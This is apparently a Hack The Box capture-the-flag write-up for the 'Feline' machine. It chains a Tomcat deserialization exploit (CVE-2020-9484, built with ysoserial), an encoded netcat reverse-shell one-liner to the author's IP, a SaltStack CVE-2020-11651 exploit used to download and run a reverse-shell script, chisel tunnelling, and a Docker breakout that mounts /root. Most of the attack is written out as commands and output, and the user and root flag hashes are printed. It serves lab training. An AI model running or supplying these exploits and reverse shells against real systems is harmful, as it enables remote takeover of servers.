2020.10.03
Box Information
Name: | Feline |
---|---|
OS: | Linux |
Difficulty: | Hard |
Points: | 40 |
Release: | 29 Aug 2020 |
IP: | 10.10.10.205 |
Recon
Nmap scan
I ran nmap in order to discover the open ports on the target machine.
Nmap TCP:
nmap -sC -sV -T4 -p- -oA scans/nmap.tcp 10.10.10.205
Output:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-29 22:42 CEST
Nmap scan report for 10.10.10.205
Host is up (0.050s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.27
|_http-title: VirusBucket
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.67 seconds
Name: feline(some cat related stuff i found on ddg) -> tomCAT
http - TCP 8080
It’s an Apache tomcat server running a malware analysing webpage.
The analyser app is at http://10.10.10.205:8080/service:
- It needs an email and a file
I gave it a random email asd@asd.asd
and a file(my nmap scan).
I also intercepted this request(when I press the Analyze button):
- My file is in cleartext
- It uploaded somewhere on the server
Producing errors
I tried to tamper with the filename because when I selected my gobuster outputfile I got an error saying Invalid filename!
This was because of the _
character. Any special chars that aren’t a simple ASCII letter or a number are invalid except the dot(.
) character.
I deleted the whole filename and I got a verbosive error that leaked the path of the uploaded file on the system.
- Note: also works with
filename="."
The request:
POST /upload.jsp?email=asd HTTP/1.1
Host: 10.10.10.205:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.205:8080/service/
Content-Type: multipart/form-data; boundary=---------------------------8829612316902379741069123043
Origin: http://10.10.10.205:8080
Content-Length: 301
DNT: 1
Connection: close
Cookie: JSESSIONID=F7812E7DA7679F91E6AB8DBA5DCCCD9E
-----------------------------8829612316902379741069123043
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream
/index.html (Status: 200)
/license.txt (Status: 200)
/script.js (Status: 200)
-----------------------------8829612316902379741069123043--
And the response:
HTTP/1.1 200
Set-Cookie: JSESSIONID=89212C9D2AEC62F6D002542CB05B1267; Path=/; HttpOnly
Content-Type: text/html;charset=UTF-8
Content-Length: 2867
Date: Sun, 30 Aug 2020 16:28:04 GMT
Connection: close
<div id="error">
java.io.FileNotFoundException: /opt/samples/uploads (Is a directory)
at java.base/java.io.FileOutputStream.open0(Native Method)
at java.base/java.io.FileOutputStream.open(FileOutputStream.java:298)
at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:237)
at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:187)
at org.apache.commons.fileupload.disk.DiskFileItem.write(DiskFileItem.java:394)
at org.apache.jsp.upload_jsp._jspService(upload_jsp.java:205)
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:476)
at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:385)
at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:329)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:678)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1579)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.base/java.lang.Thread.run(Thread.java:834)
</div>
/opt/samples/uploads
was the leaked path
Java deserialization
I found a good article describing this vulnerability.
java -jar /opt/ysoserial/ysoserial-master-6eca5bc740-1.jar CommonsCollections1 'ping 10.10.15.9' > ./expl/deser1_ping
tcpdump -i tun0 icmp
I pasted the previously created file to burp and sent the fileupload request but it didn’t return anything.
It doesn’t trigger the deserialization by default but there is a CVE out there.
I searched for CVE trigger deserialization
in ddg and found one.
CVE-2020-9484
When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use the PersistenceManager with a FileStore; and c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter=“null” (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control. Note that all of conditions a) to d) must be true for the attack to succeed.
https://nvd.nist.gov/vuln/detail/CVE-2020-9484
which linked to https://seclists.org/fulldisclosure/2020/Jun/6
and this page linked to https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/ which has the stepts to exploit.
Uploaded filename must end with .session
cuz the cookie puts a .session
at the end of the filename
After some searching on java deserialization I found out it is recommended to encrypt my command using this page:
http://www.jackson-t.ca/runtime-exec-payloads.html
Exploitation
- Encode the command you want to run with http://www.jackson-t.ca/runtime-exec-payloads.html
- Make the java serialized data file with ysoserial and name it as
<something>.session
- Use the webpage to upload the file (otherwise with curl or burp it will be in a wrong format)!
- CVE-2020-9484 ==> Make a request with the custom cookie
- The file gets deserialized and the command gets executed
Encoding the command
I used ping -c 1 10.10.15.9
as my command I wanted to run. I pasted to http://www.jackson-t.ca/runtime-exec-payloads.html.
bash -c {echo,cGluZyAtYyAxIDEwLjEwLjE1Ljk=}|{base64,-d}|{bash,-i}
Making the exploit file
I used ysoserial to make the serialized java file.
- Note: I used the
CommonsCollections4
payload type
java -jar /opt/ysoserial/ysoserial-master-6eca5bc740-1.jar CommonsCollections4 'bash -c {echo,cGluZyAtYyAxIDEwLjEwLjE1Ljk=}|{base64,-d}|{bash,-i}' > sess.session
Now I have the exploit file:
$ file sess.session
sess.session: Java serialization data, version 5
Uploading the file
I used the webpage to upload my exploit file.
http://10.10.10.205:8080/service/
I selected my sess.session file and hit Analyze!
CVE-2020-9484
I started a listener for icmp packets with tcpdump
.
tcpdump -i tun0 icmp
Now I made the request in order to deserialize the uploaded file and get command execution.
curl -H "Cookie: JSESSIONID=../../../../../../../../../../../../opt/samples/uploads/sess" feline.htb:8080/upload.jsp -v
I got a HTTP 500 - Internal Server Error which means my file got deserialized and it ran:
And I also got the ping:
$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
13:45:50.032667 IP feline.htb > 10.10.15.9: ICMP echo request, id 2, seq 1, length 64
13:45:50.032713 IP 10.10.15.9 > feline.htb: ICMP echo reply, id 2, seq 1, length 64
- This means I have an RCE
I just changed my initial command to a reverse shell 1 liner and did the steps again.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.9 1337 >/tmp/f
bash -c {echo,cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTUuOSAxMzM3ID4vdG1wL2Y=}|{base64,-d}|{bash,-i}
java -jar /opt/ysoserial/ysoserial-master-6eca5bc740-1.jar CommonsCollections4 'bash -c {echo,cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTUuOSAxMzM3ID4vdG1wL2Y=}|{base64,-d}|{bash,-i}' > sess.session
---UPLOADED TO THE PAGE---
nc -lvnp 1337
curl -H "Cookie: JSESSIONID=../../../../../../../../../../../../opt/samples/uploads/sess" feline.htb:8080/upload.jsp
- Note: I had access to the user flag(
/home/tomcat/user.txt:5bfc6f02bdc653f03b262a9473506447
)
Privilege Escalation
As always I made my shell a tty with python.
python3 -c 'import pty;pty.spawn("/bin/bash")'
Linpeas
VirusBucket
127.0.0.1 localhost
127.0.1.1 ubuntu VirusBucket
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:aeff:fe65:a7db prefixlen 64 scopeid 0x20<link>
ether 02:42:ae:65:a7:db txqueuelen 0 (Ethernet)
RX packets 41 bytes 3881 (3.8 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 69
veth73a46fa: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::34c9:78ff:fe2f:8377 prefixlen 64 scopeid 0x20<link>
ether 36:c9:78:2f:83:77 txqueuelen 0 (Ethernet)
RX packets 41 bytes 4455 (4.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 90 bytes 8838 (8.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
172.17.0.0 0.0.0.0 255.255.0.0 U 0 0 0 docker0
172.18.0.0 0.0.0.0 255.255.0.0 U 0 0 0 br-e9220f64857c
- There is docker running!
[+] Iptables rules
*filter
:INPUT ACCEPT [51:3576]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [27:2412]
COMMIT
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
COMMIT
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:41559 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4505 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4506 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:8005 :::* LISTEN 945/java
udp 0 0 127.0.0.1:34373 127.0.0.53:53 ESTABLISHED -
- 4505 and 4506 are interesting
- I went to the ports wikipedia page and found out these ports are for Salt.
[+] Writable folders configured in /etc/ld.so.conf.d/
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#etc-ld-so-conf-d
/usr/local/lib
/usr/local/lib/x86_64-linux-gnu
/lib/x86_64-linux-gnu
/usr/lib/x86_64-linux-gnu
/usr/bin/rescan-scsi-bus.sh
[+] Writable log files (logrotten) (limit 100)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation
Writable: /opt/tomcat/logs/localhost.2020-07-20.log
Writable: /opt/tomcat/logs/catalina.2020-08-26.log
Writable: /opt/tomcat/logs/catalina.2020-07-20.log
Writable: /opt/tomcat/logs/localhost.2020-06-17.log
$ ps aux
---[SNIP]---
tomcat 3638 0.0 0.0 524 4 pts/0 S+ 08:10 0:00 ./socat TCP-LISTEN:4506,reuseaddr,reuseport,fork,bind=10.10.10.205 TCP:127.0.0.1:4506
---[SNIP]---
- This is a port forwarding with socat (maybe for the docker container)
Salt explolit
I searched for salt
in exploitdb and there were an RCE one.
- This is for both
CVE-2020-11652
andCVE-2020-11651
The source of this exploit is github.com/jasperla/CVE-2020-11651-poc.
I cloned the repo:
https://github.com/jasperla/CVE-2020-11651-poc
- The python file requires the
salt
package so I installed it with pip:
python3 -m pip install salt
I ran the exploit with the help flag in order to get the correct syntax:
$ python3 exploit.py -h
usage: exploit.py [-h] [--master MASTER_IP] [--port MASTER_PORT] [--force] [--debug]
[--run-checks] [--read READ_FILE] [--upload-src UPLOAD_SRC]
[--upload-dest UPLOAD_DEST] [--exec EXEC] [--exec-all EXEC_ALL]
Saltstack exploit for CVE-2020-11651 and CVE-2020-11652
optional arguments:
-h, --help show this help message and exit
--master MASTER_IP, -m MASTER_IP
--port MASTER_PORT, -p MASTER_PORT
--force, -f
--debug, -d
--run-checks, -c
--read READ_FILE, -r READ_FILE
--upload-src UPLOAD_SRC
--upload-dest UPLOAD_DEST
--exec EXEC Run a command on the master
--exec-all EXEC_ALL Run a command on all minions
Since these Salt ports are opened to only localhost I must forward them to my machine to be able to run the exploit on them.
Reverse Port Tunneling with chisel
Downloading chisel
- I went to the Releases page and downloaded the binary for linux amd64 (
chisel_1.7.1_linux_amd64.gz
).
I downloaded, extracted and gave it permissions to be executable:
wget https://github.com/jpillora/chisel/releases/download/v1.7.1/chisel_1.7.1_linux_amd64.gz
gunzip chisel_1.7.1_linux_amd64.gz
chmod +x chisel_1.7.1_linux_amd64
I also uploaded to the target(feline) box with the use of python http server and wget and I also made it executable with chmod.
(attacker)$ sudo python3 -m http.server 80
(victim)$ cd /tmp
(victim)$ wget 10.10.14.33/chisel_1.7.1_linux_amd64
(victim)$ chmod +x chisel_1.7.1_linux_amd64
Running chisel
On my attacker box I ran chisel in server mode:
(attacker)$ ./chisel_1.7.1_linux_amd64 server --port 6969 --reverse
(victim)$ ./chisel_1.7.1_linux_amd64 client 10.10.14.33:6969 R:127.0.0.1:4506
- I got the connection!
Exploitation
I ran the exploit script by providing the tunelled port and localhost as ip.
(attacker)$ python3 exploit.py --master 127.0.0.1 --port 4506
Output:
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: fXRBuks0FWHNXFsUQZFbd9KOJ7ra2JoH+wwNjeODAVB0qxeLWXR9FeE6rzeIp7T9vJuCX+QbJsk=
- The exploit successfully ran
Now, I need a reverse shell. I made a file revs.sh
which contained a reverse shell one-liner.
revs.sh
:
|
|
I made it executable.
chmod +x revs.sh
Downloading and executing the revshell 1liner
Now, I need to download my revs.sh file to the box then execute it.
I hosted a python http.server in directory where revs.sh is.
sudo python3 -m http.server 80
Then I ran the exploit with a --exec
flag.
python3 exploit.py --master 127.0.0.1 --exec "wget 10.10.14.33/revs.sh -O /tmp/revs.sh"
- I got the GET request in the http.server console which means the file was downloaded
Now I should make it executable then ran it while I’m listening with nc.
python3 exploit.py --master 127.0.0.1 --exec "chmod +x /tmp/revs.sh"
rlwrap nc -lvnp 1338
python3 exploit.py --master 127.0.0.1 --exec "bash /tmp/revs.sh"
I got the reverse shell connection!
root@2d24bf61767c:~# hostname;id
hostname;id
2d24bf61767c
uid=0(root) gid=0(root) groups=0(root)
Privilege Escalation from docker root
Enumeration
root@2d24bf61767c:~# ls -la
ls -la
total 144
drwx------ 1 root root 4096 Oct 3 09:56 .
drwxr-xr-x 1 root root 4096 Jun 30 12:33 ..
-rw------- 1 root root 1353 Oct 3 10:07 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwxr-xr-x 1 root root 4096 Oct 3 08:46 .ssh
-rwxr-xr-x 1 root root 35520 Oct 3 07:21 nc
-rw-r--r-- 1 root root 35520 Oct 3 07:21 nc.1
-rwxr-xr-x 1 root root 35520 Oct 3 03:51 netcat
-rw-r--r-- 1 root root 52 Oct 3 09:45 revs.sh
-rw-r--r-- 1 root root 137 Jun 30 12:41 todo.txt
root@2d24bf61767c:~# cat .bash_history
cat .bash_history
paswd
passwd
passwd
passswd
passwd
passwd
cd /root
ls
ls -la
rm .wget-hsts
cd .ssh/
ls
cd ..
printf '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers through events.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cd /home/tomcat
cat /etc/passwd
exit
cd /root/
ls
cat todo.txt
ls -la /var/run/
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
exit
hostname;id
exit
- There is an interesting line
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
root@2d24bf61767c:~# cat todo.txt
cat todo.txt
- Add saltstack support to auto-spawn sandbox dockers through events.
- Integrate changes to tomcat and make the service open to public.
- The container name is maybe
sandbox
I can try to execute it inside this docker container with root mounted.
- But there is no docker binary in the container so I must transfer it somehow
I opened a new revshell as user tomcat(sess file upload –> req cookie).
(tomcat)$ python3 -m http.server 8888 --dir /usr/bin &
I used ip a
to get the docker ip of the host. Then I used wget to download the docker binary to the container.
(docker)$ wget 172.17.0.1:8888/docker
(docker)$ chmod +x docker
Then I ran the container again inside itself mounting /root to /mnt.
(docker)$ python3 -c 'import pty; pty.spawn("/bin/bash")'
(docker)$ ./docker run -v /root:/mnt -it sandbox
- I got root on the main box with these nested dockers
- I got the root flag too (
/mnt/root.txt:be6c5ff296277cb40e645ec3294dc974
)
Takeaways
- If u see java errors(stack trace) go and try out java deserialization
- Encrpyt your deserialisation payload with www.jackson-t.ca/runtime-exec-payloads.html
- Always search for ports in the wiki (en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers)
- Always search in exploitdb
- And use github for searching for PoCs
- Docker is usually vulnerable in a boot2root CTF environment
- If you have both user on the main box and docker root in the container try spawning a nested container by firstly copying the docker binary to the docker container then try creating a new nested container which mounts /root to /mnt